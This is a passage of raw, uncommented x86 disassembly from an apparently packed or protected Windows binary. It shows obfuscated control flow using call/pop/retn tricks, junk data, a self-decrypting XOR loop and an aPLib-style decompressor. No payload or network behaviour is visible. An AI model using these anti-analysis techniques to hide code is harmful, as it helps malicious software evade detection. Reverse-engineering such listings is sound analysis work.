... mov esi, [ebp+7E94CF4h] retn ; --------------------------------------------------------------------------- sub [ebp+7E90031h], esi mov esi, [ebp+7E90875h] mov edx, [ebp+7E911B5h] or esi, esi jz loc_58AC0E mov edx, 64CDBD49h mov byte ptr [esi], 0 push 0 push ebp call sub_58ABF6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ABF6 proc near ; CODE XREF: sdfs____:0058ABEEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_58ABF6 endp ; --------------------------------------------------------------------------- dw 95DDh dd 4E3EBBC6h db 54h, 11h ; --------------------------------------------------------------------------- loc_58AC0E: ; CODE XREF: sdfs____:0058ABDDj mov [ebp+7E94CFCh], eax sub ebx, [ebp+7E908B1h] cmp eax, 0 jz loc_58AFCD push 0 push ebx call sub_58AC2E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AC2E proc near ; CODE XREF: sdfs____:0058AC26p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_58AC2E endp ; --------------------------------------------------------------------------- dw 0DBE3h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 62h, 0B8h, 0 dd 80000000h, 9D3174F7h, 7E91821h, 0F00F883h, 0B484h, 0A1B50900h dd 8307E919h, 850F02F8h, 8Eh, 28E0F51h, 60000000h, 8D895A61h dd 7E91551h, 4377858Dh, 292D07E9h, 8A000009h, 0EA8166D9h dd 5090EB66h, 0BE8h, 42324500h, 0DEB41713h, 0F2DEEE78h dd 5BD18B66h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 720825E8h, 874610EEh, 41D28104h dd 0E913C949h, 0Dh, 0DCBC3A00h, 0C28BF5CDh, 0E601B400h dd 0E951C3E0h, 11h, 1FFD3DDCh, 580E554Dh, 0CD379E72h, 7F85C2AEh dd 0B85B6Eh, 8B000000h, 0E9258595h, 0D88B6607h, 2C4E9h dd 15BB6600h, 1B8C7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0D7852AC3h, 9C28637Ch dd 0FBDA81D6h, 896158E5h, 0E92AE59Dh, 7CBD8D07h, 6A07E943h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0BC96C357h, 0EAE918h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 6B1D0C3h dd 0BE6DEA4Fh, 0C2816684h, 0BF0F15ACh, 2F883DEh, 4A850Fh dd 0DE8B0000h, 4574BD8Dh, 6A07E9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 210239C3h, 2399BD89h dd 0D38A07E9h, 83E9h, 12E900h, 7A1E0000h, 74B0BE81h, 88FE7059h dd 5664FE34h, 998094C5h, 0F03F883h, 2085h, 4C38000h, 0CD07BA66h dd 4708BD8Dh, 958907E9h, 7E91659h, 4BE9h, 0BD895300h, 7E91C5Dh dd 5F8835Bh, 3A850Fh, 13E80000h, 21000000h, 628077ACh dd 62998FFCh, 0B390989Bh, 0E88FE5BFh, 9D8B6732h, 7E90DA5h dd 103E95Bh, 11E90000h, 0CC000000h, 5951A077h, 5909A6Bh dd 0B1D6BBD4h, 950667ACh, 51006A57h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 8071DD42h dd 89CFCE9Ch, 0E90ECDB5h, 0B36B907h, 9D237B9Fh, 7E91AC5h dd 0F003F83h, 0B084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 30ED0C7Dh, 0F763BB0Fh dd 0C9D10F2Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 72C35747h, 4F219F1h, 8870F2Fh, 51000000h, 1FE58529h dd 0E85A07E9h, 10h, 0D5E272B4h, 8D94B09Eh, 8EC0A284h, 0A24C0313h dd 779958Bh, 475B07E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0C4C35646h, 8361F407h, 0E9ACB84Bh, 0FFFFFF5Ch dd 9E8h, 32F83000h, 0B0B28557h, 0BD29DBB8h, 7E92529h ; --------------------------------------------------------------------------- pop edx ; START OF FUNCTION CHUNK FOR sub_58A779 loc_58AF41: ; CODE XREF: sdfs____:0058A639j ; sub_58A779+7j cmp eax, 5 jnz loc_58AFCD push 0 push ebp call sub_58AF55 and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58A779 ; =============== S U B R O U T I N E ======================================= sub_58AF55 proc near ; CODE XREF: sub_58A779+7D4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_58AF55 endp ; --------------------------------------------------------------------------- align 2 mov edx, [ebp+7E91E01h] mov cx, ds movsx edx, si adc bh, 3Ah test cl, 4 jnz loc_58AF9F or dl, 0EFh mov eax, 0 jno loc_58AF92 or [ebp+7E93571h], esi loc_58AF92: ; CODE XREF: sdfs____:0058AF86j jmp loc_58AFCD ; --------------------------------------------------------------------------- xor bx, 25B3h mov dx, ax loc_58AF9F: ; CODE XREF: sdfs____:0058AF78j mov eax, [ebp+7E91245h] cld jmp eax ; --------------------------------------------------------------------------- push 0 push edx call sub_58AFB3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AFB3 proc near ; CODE XREF: sdfs____:0058AFABp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_58AFB3 endp ; --------------------------------------------------------------------------- db 42h dd 89CE7C54h, 0E9136985h ; --------------------------------------------------------------------------- pop es ; START OF FUNCTION CHUNK FOR sub_58A779 loc_58AFCD: ; CODE XREF: sdfs____:0058A4F9j ; sdfs____:0058AC1Dj ... cmp dword ptr [ebp+7E9138Dh], 0 jnz loc_58B0D0 push 0 push ebx call sub_58AFE5 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58A779 ; =============== S U B R O U T I N E ======================================= sub_58AFE5 proc near ; CODE XREF: sub_58A779+864p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_58AFE5 endp ; --------------------------------------------------------------------------- db 26h, 96h, 4Eh dd 29D05D32h, 0BF0F712Ah, 12E9D7h, 87240000h, 67AAD642h dd 0BB62964h, 37B57944h, 73ADCEAAh, 5E850h, 6D3B0000h dd 8BF5EF05h, 4895BD9h, 0D7B70F24h, 265985C6h, 0F4507E9h dd 681h, 61958900h, 6807E90Bh, 8E88FE6Eh, 8636BF60h, 0B8531485h dd 2BFC4924h, 3481615Fh, 0FA970724h, 0E8EA8100h, 0FF07225Bh dd 0E92669B5h, 8DFD8A07h, 0E93ABC85h, 0E9606007h, 14h dd 0D0C93B7Ch, 0D4994965h, 69B3DA1Fh, 36156413h, 0DCE4A58h dd 0EED98166h, 0F18B6153h, 8BD0FF61h, 891BB6D6h, 0E9138D85h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 2CBD5309h, 0E045FCA0h, 0EA816607h, 8151E174h dd 0E06983CBh, 0F9585B6Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A779 loc_58B0D0: ; CODE XREF: sub_58A779+85Bj cmp dword ptr [ebp+7E94D4Bh], 0 jz loc_58B13C push 0 push edx call sub_58B0E8 and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58A779 ; =============== S U B R O U T I N E ======================================= sub_58B0E8 proc near ; CODE XREF: sub_58A779+967p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_58B0E8 endp ; --------------------------------------------------------------------------- dd 7196B359h, 94D96E8Bh, 7799D8Bh, 0B5FF07E9h, 7E91E11h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D4C35646h dd 0DABA5003h, 5A45FDBCh, 138D95FFh, 0CB8107E9h, 630312E6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A779 loc_58B13C: ; CODE XREF: sub_58A779+95Ej cmp eax, 0 jnz loc_58B1B0 adc edx, 61B4125Eh cmp dword ptr [ebp+7E90B1Dh], 0 jz loc_58B181 sub dx, 0D0F0h push dword ptr [ebp+7E90B1Dh] jo loc_58B16E mov ebx, 404FBAECh loc_58B16E: ; CODE XREF: sub_58A779+9EAj mov eax, 1 add dx, 0DDACh jmp loc_58B367 ; END OF FUNCTION CHUNK FOR sub_58A779 ; --------------------------------------------------------------------------- mov dx, 765Ah ; START OF FUNCTION CHUNK FOR sub_58A779 loc_58B181: ; CODE XREF: sub_58A779+9D9j push dword ptr [ebp+7E91E11h] jz loc_58B193 mov [ebp+7E90035h], eax loc_58B193: ; CODE XREF: sub_58A779+A0Ej push dword ptr [ebp+7E91E11h] clc push dword ptr [ebp+7E9138Dh] add bh, 76h jmp loc_58B367 ; END OF FUNCTION CHUNK FOR sub_58A779 ; --------------------------------------------------------------------------- mov dl, 14h mov edx, [ebp+7E91331h] ; START OF FUNCTION CHUNK FOR sub_58A779 loc_58B1B0: ; CODE XREF: sub_58A779+9C6j pop edi push 0 push edi call sub_58B1BC and [edi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58A779 ; =============== S U B R O U T I N E ======================================= sub_58B1BC proc near ; CODE XREF: sub_58A779+A3Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_58B1BC endp ; --------------------------------------------------------------------------- dd 0C5BD8363h, 7E918h, 0D9850Fh, 958B0000h, 7E90D99h, 265985C6h dd 6A4D07E9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 28BEC352h, 216343D1h, 93CE38AFh dd 191D8589h, 4E807E9h, 0A8000000h, 0FA43576h, 1084h, 0BE900h dd 562E0000h, 0D9F26C1Fh, 41D02500h, 57515093h, 864ABA66h dd 448B5A5Ah, 0F08A0424h, 0DA8B008Bh, 4244489h, 0B658DE8Bh dd 0B5B5FFF1h, 6A07E916h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 76DC356h, 858DD4C7h dd 7E93ABCh, 22C19589h, 0D0FF07E9h, 5270CE80h, 0AEC28060h dd 0CE8h, 7D13D000h, 7A9F9D73h, 3B24C108h, 5A6158D1h, 18C58589h dd 9D8B07E9h, 7E9209Dh, 5870Fh, 81660000h, 0B81032F2h dd 0 ; --------------------------------------------------------------------------- jmp loc_58B2C7 ; --------------------------------------------------------------------------- mov word ptr [edi+5C5A07BAh], es inc ecx test [bp+si], eax loc_58B2C7: ; CODE XREF: sdfs____:0058B2B8j sub [ebp+7E91DE9h], eax mov [ebp+7E94CF4h], edi push 0 push eax call sub_58B2DE and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B2DE proc near ; CODE XREF: sdfs____:0058B2D6p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_58B2DE endp ; --------------------------------------------------------------------------- pand mm3, qword ptr [edi-4Dh] mov ebx, [ebp+7E90BA5h] or eax, eax jz loc_58B311 or [ebp+7E90BC5h], eax jmp loc_58B367 ; --------------------------------------------------------------------------- mov [ebp+7E92401h], esi loc_58B311: ; CODE XREF: sdfs____:0058B2FAj push dword ptr [ebp+7E9138Dh] sbb dx, 241h lea eax, [ebp+7EBD19Dh] mov [ebp+7E90FA1h], edi push eax push eax pop ebx mov [esp], eax push 0 push edx call sub_58B339 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B339 proc near ; CODE XREF: sdfs____:0058B331p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58B339 endp ; --------------------------------------------------------------------------- db 0FCh, 0A0h, 2Ch dd 0B3F74E15h, 0E9471274h, 0Fh, 0E4CD65CCh, 0C10FCBC9h dd 452290E1h db 0B6h, 0DFh, 0B2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A779 loc_58B367: ; CODE XREF: sub_58A779+9FFj ; sub_58A779+A2Aj ... push eax push esi lea edi, [ebp+7E9546Bh] lea ecx, [ebp+7E975C2h] mov eax, 748323BCh sub ecx, edi loc_58B37C: ; CODE XREF: sub_58A779+C09j xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_58B37C pop esi pop eax cmp dword ptr [ebp+7E90B1Dh], 0 jz short loc_58B395 mov ecx, [ebp+7E92161h] loc_58B395: ; CODE XREF: sub_58A779+C14j xor ecx, ecx mov eax, 0 or eax, eax jz loc_58B44C cmp dword ptr [ebp+7E90FB9h], 0 jz short loc_58B3B3 call dword ptr [ebp+7E91335h] loc_58B3B3: ; CODE XREF: sub_58A779+C32j mov eax, 0 or eax, eax jnz short loc_58B3C5 cmp dword ptr [ebp+7E94CFCh], 1 jz short loc_58B3CE loc_58B3C5: ; CODE XREF: sub_58A779+C41j cmp dword ptr [ebp+7E94CFCh], 2 jnz short loc_58B3DC loc_58B3CE: ; CODE XREF: sub_58A779+C4Aj mov esi, [ebp+7E94CF4h] lea eax, [ebp+7EBD19Dh] call eax loc_58B3DC: ; CODE XREF: sub_58A779+C53j cmp dword ptr [ebp+7E929E5h], 0 jz short loc_58B3EB call dword ptr [ebp+7E9358Dh] loc_58B3EB: ; CODE XREF: sub_58A779+C6Aj lea eax, [ebp+7E942FFh] call eax cmp dword ptr [ebp+7E92625h], 2 jnz short loc_58B42B mov esp, [ebp+7E90C71h] mov eax, [ebp+7E90B1Dh] mov [esp+18h+var_18], eax mov dword ptr [ebp+7E91DBDh], 1 mov esi, [ebp+7E94CF8h] mov ebp, [ebp+7E90BA1h] mov eax, 1 retn 0Ch ; END OF FUNCTION CHUNK FOR sub_58A779 ; --------------------------------------------------------------------------- jmp short $+2 ; START OF FUNCTION CHUNK FOR sub_58A779 loc_58B42B: ; CODE XREF: sub_58A779+C81j mov dword ptr [ebp+7E91DBDh], 1 mov esp, [ebp+7E90C71h] mov esi, [ebp+7E92F75h] mov ebp, [ebp+7E90BA1h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_58B44C: ; CODE XREF: sub_58A779+C25j cmp dword ptr [ebp+7E929E5h], 0 jz short loc_58B464 cmp dword ptr [ebp+7E9358Dh], 0 jz short loc_58B464 call dword ptr [ebp+7E9358Dh] loc_58B464: ; CODE XREF: sub_58A779+CDAj ; sub_58A779+CE3j mov esi, [ebp+7E94CF4h] retn ; END OF FUNCTION CHUNK FOR sub_58A779 ; --------------------------------------------------------------------------- xor edx, 3311EC6h jmp loc_58B481 ; --------------------------------------------------------------------------- dw 5054h dd 64032B17h, 14408AC5h db 3 ; --------------------------------------------------------------------------- loc_58B481: ; CODE XREF: sdfs____:0058B471j sub edx, edx push edi mov [ebp+7E90FB1h], esi pop edx push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_58B49B ; --------------------------------------------------------------------------- loc_58B499: ; CODE XREF: sdfs____:0058B49Ej inc eax inc edi loc_58B49B: ; CODE XREF: sdfs____:0058B497j cmp byte ptr [edi], 0 jnz short loc_58B499 xor ecx, ecx mov edi, [ebp+8] jmp short loc_58B4CA ; --------------------------------------------------------------------------- loc_58B4A7: ; CODE XREF: sdfs____:0058B4CCj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_58B4BF ; --------------------------------------------------------------------------- loc_58B4BC: ; CODE XREF: sdfs____:0058B4C2j mul ebx dec esi loc_58B4BF: ; CODE XREF: sdfs____:0058B4BAj cmp esi, 0 ja short loc_58B4BC pop ebx add ecx, eax pop eax inc edi dec eax loc_58B4CA: ; CODE XREF: sdfs____:0058B4A5j or eax, eax jnz short loc_58B4A7 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- mov dh, 0F5h and ebx, [ebp+7E90219h] ; START OF FUNCTION CHUNK FOR sub_587F3F loc_58B4E0: ; CODE XREF: sub_587F3F:loc_588B09j mov eax, ecx jmp loc_58B694 ; END OF FUNCTION CHUNK FOR sub_587F3F ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h loc_58B4F3: ; CODE XREF: sdfs____:loc_58B50Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_58B4FE: ; CODE XREF: sdfs____:0058B589j ; sdfs____:0058B5F1j ... add dl, dl jnz loc_58B50B mov dl, [esi] inc esi adc dl, dl loc_58B50B: ; CODE XREF: sdfs____:0058B500j jnb loc_58B4F3 add dl, dl jnz loc_58B51E mov dl, [esi] inc esi adc dl, dl loc_58B51E: ; CODE XREF: sdfs____:0058B513j jnb loc_58B58E xor eax, eax add dl, dl jnz loc_58B533 mov dl, [esi] inc esi adc dl, dl loc_58B533: ; CODE XREF: sdfs____:0058B528j jnb loc_58B663 add dl, dl jnz loc_58B546 mov dl, [esi] inc esi adc dl, dl loc_58B546: ; CODE XREF: sdfs____:0058B53Bj adc eax, eax add dl, dl jnz loc_58B555 mov dl, [esi] inc esi adc dl, dl loc_58B555: ; CODE XREF: sdfs____:0058B54Aj adc eax, eax add dl, dl jnz loc_58B564 mov dl, [esi] inc esi adc dl, dl loc_58B564: ; CODE XREF: sdfs____:0058B559j adc eax, eax add dl, dl jnz loc_58B573 mov dl, [esi] inc esi adc dl, dl loc_58B573: ; CODE XREF: sdfs____:0058B568j adc eax, eax jz loc_58B581 push edi sub edi, eax mov al, [edi] pop edi loc_58B581: ; CODE XREF: sdfs____:0058B575j mov [edi], al inc edi mov ebx, 2 jmp loc_58B4FE ; --------------------------------------------------------------------------- loc_58B58E: ; CODE XREF: sdfs____:loc_58B51Ej mov eax, 1 loc_58B593: ; CODE XREF: sdfs____:loc_58B5AFj add dl, dl jnz loc_58B5A0 mov dl, [esi] inc esi adc dl, dl loc_58B5A0: ; CODE XREF: sdfs____:0058B595j adc eax, eax add dl, dl jnz loc_58B5AF mov dl, [esi] inc esi adc dl, dl loc_58B5AF: ; CODE XREF: sdfs____:0058B5A4j jb loc_58B593 sub eax, ebx mov ebx, 1 jnz loc_58B5F6 mov ecx, 1 loc_58B5C7: ; CODE XREF: sdfs____:loc_58B5E3j add dl, dl jnz loc_58B5D4 mov dl, [esi] inc esi adc dl, dl loc_58B5D4: ; CODE XREF: sdfs____:0058B5C9j adc ecx, ecx add dl, dl jnz loc_58B5E3 mov dl, [esi] inc esi adc dl, dl loc_58B5E3: ; CODE XREF: sdfs____:0058B5D8j jb loc_58B5C7 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_58B4FE ; --------------------------------------------------------------------------- loc_58B5F6: ; CODE XREF: sdfs____:0058B5BCj dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_58B604: ; CODE XREF: sdfs____:loc_58B620j add dl, dl jnz loc_58B611 mov dl, [esi] inc esi adc dl, dl loc_58B611: ; CODE XREF: sdfs____:0058B606j adc ecx, ecx add dl, dl jnz loc_58B620 mov dl, [esi] inc esi adc dl, dl loc_58B620: ; CODE XREF: sdfs____:0058B615j jb loc_58B604 cmp eax, 7D00h jnb loc_58B653 cmp eax, 500h jb loc_58B64A inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_58B4FE ; --------------------------------------------------------------------------- loc_58B64A: ; CODE XREF: sdfs____:0058B636j cmp eax, 7Fh ja loc_58B656 loc_58B653: ; CODE XREF: sdfs____:0058B62Bj add ecx, 2 loc_58B656: ; CODE XREF: sdfs____:0058B64Dj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_58B4FE ; --------------------------------------------------------------------------- loc_58B663: ; CODE XREF: sdfs____:loc_58B533j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_58B688 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_58B4FE ; --------------------------------------------------------------------------- loc_58B688: ; CODE XREF: sdfs____:0058B66Bj sub edi, [esp+28h] mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587F3F loc_58B694: ; CODE XREF: sub_587F3F+35A3j mov edx, 929h jmp loc_5B045B ; END OF FUNCTION CHUNK FOR sub_587F3F ; --------------------------------------------------------------------------- dw 0FEF4h dd 1B0012h, 0C248026Fh, 0C2480060h, 230060h, 0A525026Fh dd 60h, 2020000h, 20000h, 10000h, 30000h, 3DBA0000h, 0F86Fh dd 4 dup(0) dd 77550000h, 104F0059h, 621F0059h, 0F8CB0059h, 2F5E0058h dd 1F150059h, 0EB4E0059h, 0EF690058h, 2C2F0058h, 0E7F30059h dd 0F44B0058h, 18C70058h, 49210059h, 0EA60059h, 7F7A0059h dd 0E38A0059h, 0C1650058h, 2FA30058h, 0E2840059h, 0E7C00058h dd 0D59C0058h, 71C0058h, 0BFEA0059h, 77FC0058h, 0C89A0059h dd 5F1A0058h, 71470059h, 60050059h, 0EA750059h, 0BA230058h dd 0BAC20058h, 0C5C50058h, 3BEE0058h, 26C30059h, 5430059h dd 16C90059h, 0B4B0059h, 445D0059h, 0E22A0059h, 723D0058h dd 30E10059h, 0BB860059h, 31750058h, 403E0059h, 0C0F20059h dd 6E8C0058h, 3E460059h, 0E3390059h, 0FB9B0058h, 3EAC0058h dd 0D6890059h, 0DB100058h, 2AF0058h, 0FECA0059h, 437E0058h dd 57740059h, 5DCB0059h, 2B0E0059h, 4A450059h, 0D1A0059h dd 5C1F0059h, 0FB580059h, 62A10058h, 40B10059h, 22C0059h dd 0CAB30059h, 0E9D60058h, 65D0058h, 39A90059h, 45AD0059h dd 0EF3A0059h, 106D0058h, 0BCA60059h, 37BC0058h, 0AB90059h dd 0F7CE0059h, 68380058h, 5E7A0059h, 0D0560059h, 3F2A0058h dd 76430059h, 0D6A0059h, 5DD0059h, 124F0059h, 394E0059h dd 0F41A0059h, 0FD160058h, 572E0058h, 68280059h, 14A80059h dd 3740059h, 36C30059h, 8B070059h, 0F8A70059h, 0BF670058h dd 64EB0058h, 415E0059h, 0D6480059h, 0DF540058h, 0E0690058h dd 0C2280058h, 200C0058h, 5B270059h, 63400059h, 0C3A40059h dd 0D4A30058h, 0DCDA0058h, 4FA70058h, 24AD0059h, 41B50059h dd 0D5C10059h, 0D7B70058h, 0BAA0058h, 5D7E0059h, 27CD0059h dd 0F7850059h, 1F270058h, 4B7A0059h, 2D950059h, 2FD60059h dd 0BBC90059h, 0D0010058h, 24DF0058h, 0F7D60059h, 0DC330058h dd 0E4140058h, 41840058h, 0F5E70059h, 1CD0058h, 87D70059h dd 2B1E0059h, 83A50059h, 239F0059h, 3FEA0059h, 13D80059h dd 22720059h, 669D0059h, 5E890059h, 0CD970059h, 0CE3E0058h dd 65590058h, 0DC6F0059h, 6FA50058h, 30D90059h, 39F10059h dd 0F6370059h, 70060058h, 0E90A0059h, 72650058h, 80920059h dd 61D60059h, 207B0059h, 46C00059h, 70A10059h, 39080059h dd 0DBF90059h, 2B850058h, 38440059h, 19790059h, 3C8C0059h dd 1C920059h, 0E8470059h, 3FB90058h, 7C590059h, 895F0059h dd 8B540059h, 630F0059h db 59h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58B97E: ; CODE XREF: sdfs____:005B04C5j ; sdfs____:005B04CFj ... pusha pushf cld call $+5 pop edi sub edi, 7E97BCCh mov eax, edi add edi, 7E978E4h cmp eax, [edi+2Ch] jnz short loc_58B99C jmp short loc_58B9AF ; --------------------------------------------------------------------------- loc_58B99C: ; CODE XREF: sub_5BB696-2FCFEj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_58B9AB ; --------------------------------------------------------------------------- loc_58B9A6: ; CODE XREF: sub_5BB696-2FCE9j add [edi+ecx*4+40h], eax dec ecx loc_58B9AB: ; CODE XREF: sub_5BB696-2FCF2j or ecx, ecx jnz short loc_58B9A6 loc_58B9AF: ; CODE XREF: sub_5BB696-2FCFCj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_58B9BC: ; CODE XREF: sub_5BB696-2FCD3j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_58B9BC loc_58B9C5: ; CODE XREF: sub_59587A-9EA1j ; sub_59666E-AA62j ... lodsb jmp loc_590B62 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58B9CB: ; CODE XREF: sub_59587A-85A2j sub ebx, esi mov esi, [esp+0] add esp, 4 push small word ptr [eax] jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58B9DE: ; CODE XREF: sub_591435+35B4j add ebx, ecx sub ebx, 1A357F73h add ebx, 1E072608h pop ecx xchg ebx, [esp+0] jmp loc_59026D ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58B9F5: ; CODE XREF: sub_594228-61D5j pop ebx jmp loc_594E61 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58B9FB: ; CODE XREF: sdfs____:00595BCDj pop ebp and edi, edx pop edx push ecx mov ecx, 64EC485Ch sub esp, 4 mov [esp], ecx jmp loc_594BC1 ; --------------------------------------------------------------------------- loc_58BA10: ; CODE XREF: sdfs____:0058F50Dj push ebx mov bl, 0BBh and bl, 0FDh jmp loc_592501 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58BA1B: ; CODE XREF: sub_591435+6DD7j mov [esp+0Ch+var_C], ecx jmp loc_58F6BC ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58BA23: ; CODE XREF: sdfs____:0058DBF4j mov cx, [esp] push 193Ah mov [esp], edi sub esp, 4 mov [esp], esp jmp loc_58EA81 ; --------------------------------------------------------------------------- loc_58BA3A: ; CODE XREF: sdfs____:0059107Cj add dword ptr [esp], 2A1F56ADh sub dword ptr [esp], 78093DE4h jmp loc_590CF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58BA4D: ; CODE XREF: sub_591435+3105j push ecx mov ecx, 51FE842Ah add eax, ecx pop ecx add ebx, eax pop eax pop eax add ebx, eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+4+var_4] pop esp mov [esp+0], eax sub esp, 4 mov [esp+4+var_4], esi mov esi, 1202A3Eh mov eax, esi pop esi xor eax, 54AF01B9h add ebx, eax mov eax, [esp+0] jmp loc_58F5A8 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58BA8C: ; CODE XREF: sub_594228+3DCAj dec eax sub eax, 18473C87h sub eax, 0DC188D74h add esi, eax push [esp-4+arg_0] pop eax add esp, 4 add esi, 4 push esi jmp loc_595E4F ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58BAA9: ; CODE XREF: sub_59841F+634j push [esp+arg_0] jmp loc_591BBF ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_58BAB2: ; CODE XREF: sub_58EB23+3622j ; sdfs____:00592EDCj sub ecx, 3EEF7D3h mov eax, ecx pop ecx add esi, eax jmp loc_58D043 ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- mov cx, [esp] push eax mov eax, esp jmp loc_59774D ; --------------------------------------------------------------------------- loc_58BACE: ; CODE XREF: sdfs____:0058DF4Fj sub [esp+4], ebx jmp loc_595909 ; =============== S U B R O U T I N E ======================================= sub_58BAD7 proc near ; CODE XREF: sub_58BC4E+7AEAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058CA56 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058CF81 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D35B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058DF2C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00590947 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00590E23 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00592163 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00592D5E SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0059434E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00594AA6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005962E1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00597285 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0059836E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00598681 SIZE 0000000E BYTES sub esp, 4 jmp loc_592163 sub_58BAD7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58BADF: ; CODE XREF: sub_59841F-9C76j ; sub_591435+242j add esp, 4 push eax push esp push 